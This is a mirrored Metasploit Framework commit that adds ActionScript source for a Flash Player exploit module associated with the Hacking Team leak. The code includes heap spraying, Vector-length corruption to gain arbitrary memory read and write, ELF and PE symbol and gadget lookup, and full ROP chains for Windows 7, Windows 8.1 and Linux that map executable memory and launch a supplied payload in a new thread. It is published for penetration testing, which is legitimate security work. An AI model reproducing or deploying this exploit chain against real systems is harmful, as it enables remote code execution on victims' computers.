mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-05 14:57:30 +01:00
Add module for hacking team flash exploit
This commit is contained in:
parent
0a4c6fb92f
commit
d9aacf2d41
BIN
data/exploits/hacking_team/msf.swf
Executable file
BIN
data/exploits/hacking_team/msf.swf
Executable file
Binary file not shown.
235
external/source/exploits/hacking_team/Elf.as
vendored
Executable file
235
external/source/exploits/hacking_team/Elf.as
vendored
Executable file
@ -0,0 +1,235 @@
|
||||
package
|
||||
{
|
||||
public class Elf
|
||||
{
|
||||
private const PT_DYNAMIC:uint = 2
|
||||
private const PT_LOAD:uint = 1
|
||||
private const PT_READ_EXEC:uint = 5
|
||||
private const DT_SYMTAB:uint = 6
|
||||
private const DT_STRTAB:uint = 5
|
||||
private const DT_PLTGOT:uint = 3
|
||||
|
||||
private var e_ba:ExploitByteArray
|
||||
// elf base address
|
||||
public var base:uint = 0
|
||||
// program header address
|
||||
public var ph:uint = 0
|
||||
// number of program headers
|
||||
public var ph_size:uint = 0
|
||||
// program header entry size
|
||||
public var ph_esize:uint = 0
|
||||
// DYNAMIC segment address
|
||||
public var seg_dynamic:uint = 0
|
||||
// DYNAMIC segment size
|
||||
public var seg_dynamic_size:uint = 0
|
||||
// CODE segment address
|
||||
public var seg_exec:uint = 0
|
||||
// CODE segment size
|
||||
public var seg_exec_size:uint = 0
|
||||
// .dynsyn section address
|
||||
public var sec_dynsym:uint = 0
|
||||
// .synstr section address
|
||||
public var sec_dynstr:uint = 0
|
||||
// .got.plt section address
|
||||
public var sec_got_plt:uint = 0
|
||||
|
||||
public function Elf(ba:ExploitByteArray, addr:uint)
|
||||
{
|
||||
e_ba = ba
|
||||
set_base(addr)
|
||||
set_program_header()
|
||||
set_program_header_size()
|
||||
set_program_header_entry_size()
|
||||
set_dynamic_segment()
|
||||
set_exec_segment()
|
||||
set_dynsym()
|
||||
set_dynstr()
|
||||
set_got_plt()
|
||||
}
|
||||
|
||||
public function external_symbol(name:String):uint {
|
||||
var entry:uint = 0
|
||||
var st_name:uint = 0
|
||||
var st_value:uint = 0
|
||||
var st_size:uint = 0
|
||||
var st_info:uint = 0
|
||||
var st_other:uint = 0
|
||||
var st_shndx:uint = 0
|
||||
var st_string:String = ""
|
||||
var got_plt_index:uint = 0
|
||||
|
||||
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
|
||||
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||
st_name = e_ba.read(entry)
|
||||
st_value = e_ba.read(entry + 4)
|
||||
st_info = e_ba.read(entry + 0xc, "byte")
|
||||
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||
if (st_string == name) {
|
||||
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
|
||||
}
|
||||
if (st_info != 0x11) {
|
||||
got_plt_index++
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
public function symbol(name:String):uint {
|
||||
var entry:uint = 0
|
||||
var st_name:uint = 0
|
||||
var st_value:uint = 0
|
||||
var st_size:uint = 0
|
||||
var st_info:uint = 0
|
||||
var st_other:uint = 0
|
||||
var st_shndx:uint = 0
|
||||
var st_string:String = ""
|
||||
|
||||
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
|
||||
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||
st_name = e_ba.read(entry)
|
||||
st_value = e_ba.read(entry + 4)
|
||||
st_info = e_ba.read(entry + 0xc, "byte")
|
||||
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||
if (st_string == name) {
|
||||
return base + st_value
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
|
||||
public function gadget(gadget:String, hint:uint):uint
|
||||
{
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
var contents:uint = 0
|
||||
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
|
||||
contents = e_ba.read(seg_exec + i)
|
||||
if (hint == 0xffffffff && value == contents) {
|
||||
return seg_exec + i
|
||||
}
|
||||
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||
return seg_exec + i
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_base(addr:uint):void
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (e_ba.read(addr) == 0x464c457f) {
|
||||
base = addr
|
||||
return
|
||||
}
|
||||
addr -= 0x1000
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_program_header():void
|
||||
{
|
||||
ph = base + e_ba.read(base + 0x1c)
|
||||
}
|
||||
|
||||
private function set_program_header_size():void
|
||||
{
|
||||
ph_size = e_ba.read(base + 0x2c, "word")
|
||||
}
|
||||
|
||||
private function set_program_header_entry_size():void
|
||||
{
|
||||
ph_esize = e_ba.read(base + 0x2a, "word")
|
||||
}
|
||||
|
||||
private function set_dynamic_segment():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var p_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < ph_size; i++) {
|
||||
entry = ph + (i * ph_esize)
|
||||
p_type = e_ba.read(entry)
|
||||
if (p_type == PT_DYNAMIC) {
|
||||
seg_dynamic = base + e_ba.read(entry + 8)
|
||||
seg_dynamic_size = e_ba.read(entry + 0x14)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_exec_segment():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var p_type:uint = 0
|
||||
var p_flags:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < ph_size; i++) {
|
||||
entry = ph + (i * ph_esize)
|
||||
p_type = e_ba.read(entry)
|
||||
p_flags = e_ba.read(entry + 0x18)
|
||||
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
|
||||
seg_exec = base + e_ba.read(entry + 8)
|
||||
seg_exec_size = e_ba.read(entry + 0x14)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_dynsym():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_SYMTAB) {
|
||||
sec_dynsym = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_dynstr():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_STRTAB) {
|
||||
sec_dynstr = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_got_plt():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var s_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||
entry = seg_dynamic + i
|
||||
s_type = e_ba.read(entry)
|
||||
if (s_type == DT_PLTGOT) {
|
||||
sec_got_plt = e_ba.read(entry + 4)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
}
|
||||
}
|
37
external/source/exploits/hacking_team/Exploit.as
vendored
Executable file
37
external/source/exploits/hacking_team/Exploit.as
vendored
Executable file
@ -0,0 +1,37 @@
|
||||
package
|
||||
{
|
||||
import flash.display.Sprite
|
||||
import flash.events.Event
|
||||
import mx.utils.Base64Decoder
|
||||
import flash.display.LoaderInfo
|
||||
import flash.utils.ByteArray
|
||||
|
||||
public class Exploit extends Sprite
|
||||
{
|
||||
private var b64:Base64Decoder = new Base64Decoder()
|
||||
private var payload:ByteArray
|
||||
private var platform:String
|
||||
private var os:String
|
||||
|
||||
public function Exploit():void
|
||||
{
|
||||
//trace("Got to checkpoint 0");
|
||||
if (stage) init();
|
||||
else addEventListener(Event.ADDED_TO_STAGE, init);
|
||||
}
|
||||
|
||||
private function init(e:Event = null):void
|
||||
{
|
||||
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
|
||||
os = LoaderInfo(this.root.loaderInfo).parameters.os
|
||||
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
|
||||
var pattern:RegExp = / /g;
|
||||
b64_payload = b64_payload.replace(pattern, "+")
|
||||
b64.decode(b64_payload)
|
||||
payload = b64.toByteArray()
|
||||
|
||||
removeEventListener(Event.ADDED_TO_STAGE, init);
|
||||
MyClass.TryExpl(this, platform, os, payload)
|
||||
}
|
||||
}
|
||||
}
|
85
external/source/exploits/hacking_team/ExploitByteArray.as
vendored
Executable file
85
external/source/exploits/hacking_team/ExploitByteArray.as
vendored
Executable file
@ -0,0 +1,85 @@
|
||||
package
|
||||
{
|
||||
import flash.utils.ByteArray
|
||||
|
||||
public class ExploitByteArray
|
||||
{
|
||||
private const MAX_STRING_LENGTH:uint = 100
|
||||
public var ba:ByteArray
|
||||
public var original_length:uint
|
||||
private var platform:String
|
||||
|
||||
public function ExploitByteArray(p:String, l:uint = 1024)
|
||||
{
|
||||
ba = new ByteArray()
|
||||
ba.length = l
|
||||
ba.endian = "littleEndian"
|
||||
ba.writeUnsignedInt(0)
|
||||
platform = p
|
||||
original_length = l
|
||||
}
|
||||
|
||||
public function set_length(length:uint):void
|
||||
{
|
||||
ba.length = length
|
||||
}
|
||||
|
||||
public function get_length():uint
|
||||
{
|
||||
return ba.length
|
||||
}
|
||||
|
||||
public function lets_ready():void
|
||||
{
|
||||
ba.endian = "littleEndian"
|
||||
if (platform == "linux") {
|
||||
ba.length = 0xffffffff
|
||||
}
|
||||
}
|
||||
|
||||
public function is_ready():Boolean
|
||||
{
|
||||
if (ba.length == 0xffffffff)
|
||||
return true
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
public function read(addr:uint, type:String = "dword"):uint
|
||||
{
|
||||
ba.position = addr
|
||||
switch(type) {
|
||||
case "dword":
|
||||
return ba.readUnsignedInt()
|
||||
case "word":
|
||||
return ba.readUnsignedShort()
|
||||
case "byte":
|
||||
return ba.readUnsignedByte()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
public function read_string(addr:uint, length:uint = 0):String
|
||||
{
|
||||
ba.position = addr
|
||||
if (length == 0)
|
||||
return ba.readUTFBytes(MAX_STRING_LENGTH)
|
||||
else
|
||||
return ba.readUTFBytes(length)
|
||||
}
|
||||
|
||||
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||
{
|
||||
var i:uint
|
||||
|
||||
if (addr) ba.position = addr
|
||||
if (value is String) {
|
||||
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||
if (zero) ba.writeByte(0)
|
||||
} else if (value is ByteArray) {
|
||||
var value_length:uint = value.length
|
||||
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
|
||||
} else ba.writeUnsignedInt(value)
|
||||
}
|
||||
}
|
||||
}
|
75
external/source/exploits/hacking_team/ExploitVector.as
vendored
Executable file
75
external/source/exploits/hacking_team/ExploitVector.as
vendored
Executable file
@ -0,0 +1,75 @@
|
||||
package
|
||||
{
|
||||
public class ExploitVector
|
||||
{
|
||||
private var uv:Vector.<uint>
|
||||
public var original_length:uint
|
||||
|
||||
public function ExploitVector(v:Vector.<uint>, length:uint)
|
||||
{
|
||||
uv = v
|
||||
original_length = length
|
||||
}
|
||||
|
||||
public function restore():void
|
||||
{
|
||||
uv[0x3ffffffe] = original_length
|
||||
}
|
||||
|
||||
public function is_ready():Boolean
|
||||
{
|
||||
if (uv.length > original_length)
|
||||
{
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
public function at(pos:uint):uint
|
||||
{
|
||||
return uv[pos]
|
||||
}
|
||||
|
||||
// pos: position where a Vector.<Object>[0] lives
|
||||
public function set_own_address(pos:uint):void
|
||||
{
|
||||
uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc
|
||||
}
|
||||
|
||||
public function read(addr:uint):uint
|
||||
{
|
||||
var pos:uint = 0
|
||||
|
||||
if (addr > uv[0]) {
|
||||
pos = ((addr - uv[0]) / 4) - 2
|
||||
} else {
|
||||
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||
}
|
||||
|
||||
return uv[pos]
|
||||
}
|
||||
|
||||
public function write(addr:uint, value:uint = 0):void
|
||||
{
|
||||
var pos:uint = 0
|
||||
|
||||
if (addr > uv[0]) {
|
||||
pos = ((addr - uv[0]) / 4) - 2
|
||||
} else {
|
||||
pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
|
||||
}
|
||||
|
||||
uv[pos] = value
|
||||
}
|
||||
|
||||
public function search_pattern(pattern:uint, limit:uint):uint
|
||||
{
|
||||
for (var i:uint = 0; i < limit/4; i++) {
|
||||
if (uv[i] == pattern) {
|
||||
return i
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
}
|
||||
}
|
399
external/source/exploits/hacking_team/Exploiter.as
vendored
Executable file
399
external/source/exploits/hacking_team/Exploiter.as
vendored
Executable file
@ -0,0 +1,399 @@
|
||||
package
|
||||
{
|
||||
import flash.utils.ByteArray
|
||||
import flash.system.System
|
||||
|
||||
public class Exploiter
|
||||
{
|
||||
private const VECTOR_OBJECTS_LENGTH:uint = 1014
|
||||
private var exploit:Exploit
|
||||
private var ev:ExploitVector
|
||||
private var eba:ExploitByteArray
|
||||
private var payload:ByteArray
|
||||
private var platform:String
|
||||
private var op_system:String
|
||||
private var pos:uint
|
||||
private var byte_array_object:uint
|
||||
private var main:uint
|
||||
private var stack_object:uint
|
||||
private var payload_space_object:uint
|
||||
private var buffer_object:uint
|
||||
private var buffer:uint
|
||||
private var vtable:uint
|
||||
private var stack_address:uint
|
||||
private var payload_address:uint
|
||||
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
private var spray:Vector.<Object> = new Vector.<Object>(90000)
|
||||
|
||||
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>, uv_length:uint):void
|
||||
{
|
||||
exploit = exp
|
||||
payload = p
|
||||
platform = pl
|
||||
op_system = os
|
||||
|
||||
ev = new ExploitVector(uv, uv_length)
|
||||
if (!ev.is_ready()) return
|
||||
eba = new ExploitByteArray(platform)
|
||||
spray_objects()
|
||||
try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; }
|
||||
ev.set_own_address(pos)
|
||||
if (!disclose_objects()) { ev.restore(); cleanup(); return; }
|
||||
disclose_addresses()
|
||||
corrupt_byte_array()
|
||||
if (!eba.is_ready()) { ev.restore(); cleanup(); return }
|
||||
do_rop()
|
||||
restore_byte_array()
|
||||
ev.restore()
|
||||
cleanup()
|
||||
}
|
||||
|
||||
private function spray_objects():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - spray_objects()")
|
||||
for (var i:uint = 0; i < spray.length; i++)
|
||||
{
|
||||
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
|
||||
spray[i][0] = eba.ba
|
||||
spray[i][1] = exploit
|
||||
spray[i][2] = stack
|
||||
spray[i][3] = payload_space
|
||||
}
|
||||
}
|
||||
|
||||
private function search_objects():uint
|
||||
{
|
||||
Logger.log("[*] Exploiter - search_objects()")
|
||||
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100)
|
||||
return idx + 1
|
||||
}
|
||||
|
||||
private function disclose_objects():Boolean
|
||||
{
|
||||
Logger.log("[*] Exploiter - disclose_objects()")
|
||||
byte_array_object = ev.at(pos) - 1
|
||||
main = ev.at(pos + 1) - 1
|
||||
stack_object = ev.at(pos + 2) - 1
|
||||
payload_space_object = ev.at(pos + 3) - 1
|
||||
if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
private function disclose_addresses():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - disclose_addresses()")
|
||||
if (platform == "linux")
|
||||
{
|
||||
buffer_object = ev.read(byte_array_object + 0x10)
|
||||
buffer = ev.read(buffer_object + 0x1c)
|
||||
}
|
||||
else if (platform == "win")
|
||||
{
|
||||
buffer_object = ev.read(byte_array_object + 0x40)
|
||||
buffer = ev.read(buffer_object + 8)
|
||||
}
|
||||
vtable = ev.read(main)
|
||||
stack_address = ev.read(stack_object + 0x18)
|
||||
payload_address = ev.read(payload_space_object + 0x18)
|
||||
}
|
||||
|
||||
private function corrupt_byte_array():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform)
|
||||
if (platform == "linux")
|
||||
{
|
||||
ev.write(buffer_object + 0x1c) // *array
|
||||
ev.write(buffer_object + 0x20, 0xffffffff) // capacity
|
||||
}
|
||||
else if (platform == "win")
|
||||
{
|
||||
ev.write(buffer_object + 8) // *array
|
||||
ev.write(buffer_object + 16, 0xffffffff) // capacity
|
||||
}
|
||||
eba.lets_ready()
|
||||
}
|
||||
|
||||
private function restore_byte_array():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - restore_byte_array(): " + platform)
|
||||
if (platform == "linux")
|
||||
{
|
||||
ev.write(buffer_object + 0x1c, buffer) // *array
|
||||
ev.write(buffer_object + 0x20, 1024) // capacity
|
||||
}
|
||||
else if (platform == "win")
|
||||
{
|
||||
ev.write(buffer_object + 8, buffer) // *array
|
||||
ev.write(buffer_object + 16, 1024) // capacity
|
||||
}
|
||||
eba.set_length(eba.original_length)
|
||||
}
|
||||
|
||||
private function do_rop():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop()")
|
||||
if (platform == "linux") {
|
||||
do_rop_linux()
|
||||
} else if (platform == "win") {
|
||||
if (op_system == "Windows 8.1") {
|
||||
do_rop_windows8()
|
||||
} else if (op_system == "Windows 7") {
|
||||
do_rop_windows()
|
||||
} else {
|
||||
return
|
||||
}
|
||||
} else {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
private function do_rop_windows():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop_windows()")
|
||||
var pe:PE = new PE(eba)
|
||||
var flash:uint = pe.base(vtable)
|
||||
var winmm:uint = pe.module("winmm.dll", flash)
|
||||
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||
var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32)
|
||||
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32)
|
||||
var createthread:uint = pe.procedure("CreateThread", kernel32)
|
||||
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||
|
||||
// Continuation of execution
|
||||
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
// Put the payload (command) in memory
|
||||
eba.write(payload_address + 8, payload, true); // payload
|
||||
|
||||
// Put the fake vtabe / stack on memory
|
||||
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||
eba.write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
eba.write(0, virtualalloc)
|
||||
eba.write(0, buffer + 0x10)
|
||||
eba.write(0, 0x1000)
|
||||
eba.write(0, 0x40)
|
||||
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||
|
||||
// VirtualAlloc
|
||||
eba.write(0, memcpy)
|
||||
eba.write(0, 0x7f6e0000)
|
||||
eba.write(0, 0x4000)
|
||||
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||
|
||||
// memcpy
|
||||
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||
eba.write(0, 0x7f6e0000)
|
||||
eba.write(0, payload_address + 8)
|
||||
eba.write(0, payload.length)
|
||||
|
||||
// CreateThread
|
||||
eba.write(0, createthread)
|
||||
eba.write(0, buffer + 0x10) // return to fix things
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0x7f6e0000)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
|
||||
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||
exploit.toString() // call method in the fake vtable
|
||||
}
|
||||
|
||||
private function do_rop_windows8():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop_windows8()")
|
||||
var pe:PE = new PE(eba)
|
||||
var flash:uint = pe.base(vtable)
|
||||
var winmm:uint = pe.module("winmm.dll", flash)
|
||||
var advapi32:uint = pe.module("advapi32.dll", flash)
|
||||
var kernelbase:uint = pe.module("kernelbase.dll", advapi32)
|
||||
var kernel32:uint = pe.module("kernel32.dll", winmm)
|
||||
var ntdll:uint = pe.module("ntdll.dll", kernel32)
|
||||
var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase)
|
||||
var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase)
|
||||
var createthread:uint = pe.procedure("CreateThread", kernelbase)
|
||||
var memcpy:uint = pe.procedure("memcpy", ntdll)
|
||||
var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash)
|
||||
var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash)
|
||||
var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll)
|
||||
|
||||
// Continuation of execution
|
||||
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
// Put the payload (command) in memory
|
||||
eba.write(payload_address + 8, payload, true); // payload
|
||||
|
||||
// Put the fake vtabe / stack on memory
|
||||
eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||
eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||
eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||
eba.write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
eba.write(0, virtualalloc)
|
||||
eba.write(0, buffer + 0x10)
|
||||
eba.write(0, 0x1000)
|
||||
eba.write(0, 0x40)
|
||||
eba.write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||
|
||||
// VirtualAlloc
|
||||
eba.write(0, memcpy)
|
||||
eba.write(0, 0x7ffd0000)
|
||||
eba.write(0, 0x4000)
|
||||
eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE
|
||||
eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE
|
||||
|
||||
// memcpy
|
||||
eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't
|
||||
eba.write(0, 0x7ffd0000)
|
||||
eba.write(0, payload_address + 8)
|
||||
eba.write(0, payload.length)
|
||||
|
||||
// CreateThread
|
||||
eba.write(0, createthread)
|
||||
eba.write(0, buffer + 0x10) // return to fix things
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0x7ffd0000)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
eba.write(0, 0)
|
||||
|
||||
eba.write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||
exploit.toString() // call method in the fake vtable
|
||||
}
|
||||
|
||||
private function do_rop_linux():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - do_rop_linux()")
|
||||
var flash:Elf = new Elf(eba, vtable)
|
||||
var feof:uint = flash.external_symbol('feof')
|
||||
var libc:Elf = new Elf(eba, feof)
|
||||
var popen:uint = libc.symbol("popen")
|
||||
var mprotect:uint = libc.symbol("mprotect")
|
||||
var mmap:uint = libc.symbol("mmap")
|
||||
var clone:uint = libc.symbol("clone")
|
||||
var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff)
|
||||
var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff)
|
||||
var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff)
|
||||
|
||||
// Continuation of execution
|
||||
// 1) Recover original vtable
|
||||
eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable
|
||||
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
// 2) Recover original stack
|
||||
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
|
||||
|
||||
// my_memcpy
|
||||
eba.write(buffer + 0x60, "\x56", false) // push esi
|
||||
eba.write(0, "\x57", false) // push edi
|
||||
eba.write(0, "\x51", false) // push ecx
|
||||
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
|
||||
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
|
||||
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
|
||||
eba.write(0, "\xF3\xA4", false) // rep movsb
|
||||
eba.write(0, "\x59", false) // pop ecx
|
||||
eba.write(0, "\x5f", false) // pop edi
|
||||
eba.write(0, "\x5e", false) // pop esi
|
||||
eba.write(0, "\xc3", false) // ret
|
||||
|
||||
// Put the popen parameters in memory
|
||||
eba.write(payload_address + 0x8, payload, true) // false
|
||||
|
||||
// Put the fake stack/vtable on memory
|
||||
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
|
||||
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
|
||||
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
|
||||
|
||||
// Return to mprotect()
|
||||
eba.write(stack_address + 0x18034, mprotect)
|
||||
// Return to stackpivot (jmp over mprotect parameters)
|
||||
eba.write(0, addesp2cret)
|
||||
// mprotect() arguments
|
||||
eba.write(0, buffer) // addr
|
||||
eba.write(0, 0x1000) // size
|
||||
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
|
||||
// Return to mmap()
|
||||
eba.write(stack_address + 0x18068, mmap)
|
||||
// Return to stackpivot (jmp over mmap parameters)
|
||||
eba.write(0, addesp2cret)
|
||||
// mmap() code segment arguments
|
||||
eba.write(0, 0x70000000) // 0x70000000
|
||||
eba.write(0, 0x4000) // size
|
||||
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||
eba.write(0, 0xffffffff) // filedes
|
||||
eba.write(0, 0) // offset
|
||||
|
||||
// Return to mmap()
|
||||
eba.write(stack_address + 0x1809c, mmap)
|
||||
// Return to stackpivot (jmp over mmap parameters)
|
||||
eba.write(0, addesp2cret)
|
||||
// mmap() stack segment arguments
|
||||
eba.write(0, 0x70008000) // NULL
|
||||
eba.write(0, 0x10000) // size
|
||||
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||
eba.write(0, -1) // filedes
|
||||
eba.write(0, 0) // offset
|
||||
|
||||
// Return to memcpy()
|
||||
eba.write(stack_address + 0x180d0, buffer + 0x60)
|
||||
// Return to stackpivot (jmp over memcpy parameters)
|
||||
eba.write(0, addesp2cret)
|
||||
// memcpy() parameters
|
||||
eba.write(0, 0x70000000)
|
||||
eba.write(0, payload_address + 0x8)
|
||||
eba.write(0, payload.length)
|
||||
|
||||
// Return to clone()
|
||||
eba.write(stack_address + 0x18104, clone)
|
||||
// Return to CoE (fix stack and object vtable)
|
||||
eba.write(0, buffer + 0x10)
|
||||
// clone() arguments
|
||||
eba.write(0, 0x70000000) // code
|
||||
eba.write(0, 0x7000bff0) // stack
|
||||
eba.write(0, 0x00000100) // flags CLONE_VM
|
||||
eba.write(0, 0) // args
|
||||
|
||||
//call DWORD PTR [eax+0x24]
|
||||
//EAX: 0x41414141 ('AAAA')
|
||||
//EDI: 0xad857088 ("AAAA\377")
|
||||
eba.write(main, stack_address + 0x18000)
|
||||
exploit.hasOwnProperty('msf')
|
||||
}
|
||||
|
||||
private function cleanup():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - cleanup()")
|
||||
spray = null
|
||||
stack = null
|
||||
payload_space = null
|
||||
eba = null
|
||||
ev = null
|
||||
exploit = null
|
||||
System.pauseForGCIfCollectionImminent(0)
|
||||
}
|
||||
}
|
||||
}
|
32
